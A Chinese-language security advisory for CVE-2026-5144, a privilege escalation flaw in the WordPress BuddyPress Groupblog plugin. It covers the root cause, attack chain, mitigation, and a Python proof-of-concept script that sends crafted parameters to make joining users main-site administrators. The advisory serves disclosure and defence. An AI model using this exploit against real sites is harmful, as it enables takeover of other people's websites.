IPBUF安全漏洞报告
English
CVE-2026-5144 CVSS 8.8 高危

CVE-2026-5144 WP BuddyPress Groupblog权限提升漏洞

披露日期: 2026-04-11

漏洞信息

漏洞编号
CVE-2026-5144
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress BuddyPress Groupblog Plugin

相关标签

权限提升WordPressBuddyPressCVE-2026-5144插件漏洞Privilege Escalation

漏洞概述

WordPress BuddyPress Groupblog插件在1.9.3及之前版本中存在严重的权限提升漏洞。该漏洞源于设置处理程序未对`groupblog-blogid`、`default-member`及`groupblog-silent-add`等关键参数进行有效的授权验证。低权限攻击者(如订阅者)只需创建一个群组,即可利用此漏洞将任意用户(包括自己)提升为WordPress Multisite网络主站点的管理员权限。攻击者通过注入恶意参数,利用自动添加机制,实现对目标站点的完全控制。

技术细节

该漏洞根因在于WordPress插件BuddyPress Groupblog对群组博客设置的处理逻辑存在严重缺陷。具体而言,插件在接收`groupblog-blogid`、`default-member`和`groupblog-silent-add`参数时,未实施严格的权限校验和白名单过滤。在WordPress Multisite环境下,攻击者首先以订阅者身份注册并创建一个群组,从而获得群组管理员权限。随后,攻击者向插件设置接口发送特制请求,将`groupblog-blogid`值设为网络主站点的ID(通常为1),将`default-member`值设为`administrator`。由于缺乏验证,系统接受了这些非法参数。最后,通过启用`groupblog-silent-add`,当攻击者的辅助账号或其他用户加入该群组时,系统会自动将这些用户以管理员身份关联到主站点。这使得攻击者能够完全接管网络主站点的控制权,造成严重的安全风险。整个攻击过程利用了插件对角色分配逻辑的信任缺失,无需高权限即可完成提权。

攻击链分析

STEP 1
步骤1:获取初始权限
攻击者在WordPress站点注册一个订阅者账号,并利用该账号创建一个新的BuddyPress群组,从而成为群组管理员。
STEP 2
步骤2:构造恶意参数
攻击者准备利用的参数,将`groupblog-blogid`设为主站点ID(如1),`default-member`设为`administrator`,并启用`groupblog-silent-add`。
STEP 3
步骤3:发送漏洞利用请求
攻击者向群组博客设置处理接口发送POST请求,提交上述恶意参数。由于缺乏验证,插件接受这些参数并更新群组设置。
STEP 4
步骤4:触发权限提升
攻击者使用第二个账号加入该群组,或诱导其他用户加入。由于设置了`silent-add`,系统自动将这些用户以`administrator`角色添加到主站点。
STEP 5
步骤5:获得站点控制权
攻击者(或其辅助账号)现在拥有了WordPress Multisite网络主站点的管理员权限,可以完全控制站点。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/groups/{group_id}/admin/group-blog/" # Hypothetical endpoint login_url = "http://example.com/wp-login.php" # Credentials for a low-privileged user (Subscriber) username = "attacker" password = "password" def exploit(): session = requests.Session() # 1. Login payload_login = { "log": username, "pwd": password, "redirect_to": "", "wp-submit": "Log In" } session.post(login_url, data=payload_login) # 2. Send exploit payload to group blog settings # Note: The attacker must be the admin of the group specified by group_id exploit_payload = { "groupblog-blogid": "1", # Target the main site "default-member": "administrator", # Inject Administrator role "groupblog-silent-add": "1" # Enable silent add } response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Any user joining this group will now be added as an Administrator to the main site.") else: print("[-] Failed to send payload.") if __name__ == "__main__": exploit()

影响范围

BuddyPress Groupblog <= 1.9.3

防御指南

临时缓解措施
建议立即检查并升级BuddyPress Groupblog插件至修复版本。如无法立即升级,应暂时禁用该插件,或严格限制用户创建群组及修改群组博客设置的权限,以防止权限提升攻击。同时,管理员应审查现有用户列表,移除异常获得管理员权限的账号。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表